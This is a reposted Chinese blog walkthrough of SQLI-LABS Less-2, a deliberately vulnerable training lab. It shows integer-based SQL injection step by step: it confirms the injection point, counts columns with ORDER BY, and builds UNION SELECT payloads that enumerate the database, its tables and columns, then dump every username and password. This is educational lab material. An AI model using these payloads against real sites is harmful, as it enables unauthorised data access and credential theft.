SQLI-LABS(Less-2)

Less-2(GET-Error based-Intiger based)

打开 Less-2页面,可以看到页面中间有一句 Please input the ID as parameter with numeric value,那么先使用 ID这个参数通过 GET方式传入一个数值。

SQLI-LABS(Less-2)

确定注入点

注入语句: ?id=1

SQLI-LABS(Less-2)

可以看出传入 id=1可以正常回显,那么试一下 ?id=1',发现在 引号附近产生了歧义导致报错,并且可以看出这条SQL语句是不用引号闭合的。

SQLI-LABS(Less-2)

接着尝试注入语句 ?id=1 and 1=1 --+?id=1 and 1=2 --+,发现注入第一条语句时正常回显,注入第二条语句时没有回显,由此判断存在注入点。

SQLI-LABS(Less-2)

判断数据表列数

通过 order by判断该表的字段数量( order by语句用于根据指定的列对结果集进行排序),URL后面拼接 ?id=1 order by 1 --+看是否报错:

SQLI-LABS(Less-2)

当尝试到 ?id=1 order by 4 --+时,出现了报错,由此可以判断该表只有3列。

SQLI-LABS(Less-2)

确定回显字段

注入语句: ?id=1 and 1=2 union select 1,2,3 --+

SQLI-LABS(Less-2)
这里使用 and 1=2是为了让 union之前的语句为假,从而不回显在前端页面。这样结合 union之后的语句就可以通过前端页面的回显知道前端页面显示的是数据表的第几列。

确定当前数据库名和用户

从上图中可以看出该数据表的第二列和第三列会回显在前端页面上,这样就可以通过数据库自带的函数: user()(查看当前用户)、 database()(查看当前数据库)、 version()(查看数据库版本)等替换2和3,注入得出连接数据库用户以及数据库名称。
注入语句: ?id=1 and 1=2 union select 1,database(),user() --+

SQLI-LABS(Less-2)
通过上述注入可以得知,当前数据库名为 security,当前用户为 root

确定当前数据库内表名

注入语句: ?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

SQLI-LABS(Less-2)
通过上述注入可以得知当前数据库中存在 emailsreferersuagentsusers四张数据表。

确定users表中列名

注入语句: ?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

SQLI-LABS(Less-2)
通过上述注入可以得知 users表中存在三列,分别为 idusernamepassword

确定users表中的用户名和密码

注入语句: ?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from users --+

SQLI-LABS(Less-2)

至此,就得到了当前表中所有的用户名和密码。

Original: https://www.cnblogs.com/Timesi/p/16657080.html
Author: 顾北清
Title: SQLI-LABS(Less-2)

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578219/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球